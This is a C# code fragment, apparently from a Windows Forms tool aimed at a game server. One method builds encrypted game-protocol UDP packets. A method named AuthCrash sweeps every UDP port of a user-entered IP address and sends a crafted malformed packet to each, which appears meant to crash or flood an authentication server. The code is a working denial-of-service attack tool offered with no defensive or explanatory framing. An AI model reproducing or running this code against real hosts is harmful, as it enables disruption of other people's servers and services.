public byte[] ArrayBytesUdp(string valuebytes) { using (SendPacket send = new SendPacket()) { byte[] buff = Encoding.Unicode.GetBytes(valuebytes); byte[] action = Encrypt(buff, (13 + buff.Length) % 6 + 1); send.WriteC(3); // OPCODE send.WriteC(255); //SLOT send.WriteT(DateTime.Now.Second); //TIMER send.WriteC(10); //ROUND send.WriteH((ushort)(13 + action.Length)); //LENGTH send.WriteD(0); //unk send.WriteD(0); //unk send.WriteB(action); return(send.stream.ToArray()); } }
public void AuthCrash() { new Thread(() => { for (int i = 0; i <= IPEndPoint.MaxPort; i++) { if (BloquearFlod) { break; } try { IPEndPoint iPEndPoint = new IPEndPoint(IPAddress.Parse(textBox1.Text), i); UdpClient udpClient = new UdpClient()//1915 { ExclusiveAddressUse = false, }; udpClient.Client.Connect(iPEndPoint); udpClient.Client.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReuseAddress, true); if (udpClient.Client.Connected) { SendPacket s = new SendPacket(); s.WriteH(15); s.WriteC(0); udpClient.Client.Send(s.stream.ToArray(), s.stream.ToArray().Length, SocketFlags.None); udpClient.Close(); } label6.Text = $"Procurando Porta [{i}]"; } catch (Exception ex) { MessageBox.Show(ex.ToString()); break; } } new Thread(new ThreadStart(SyncRemoverFlod)).Start(); }).Start(); }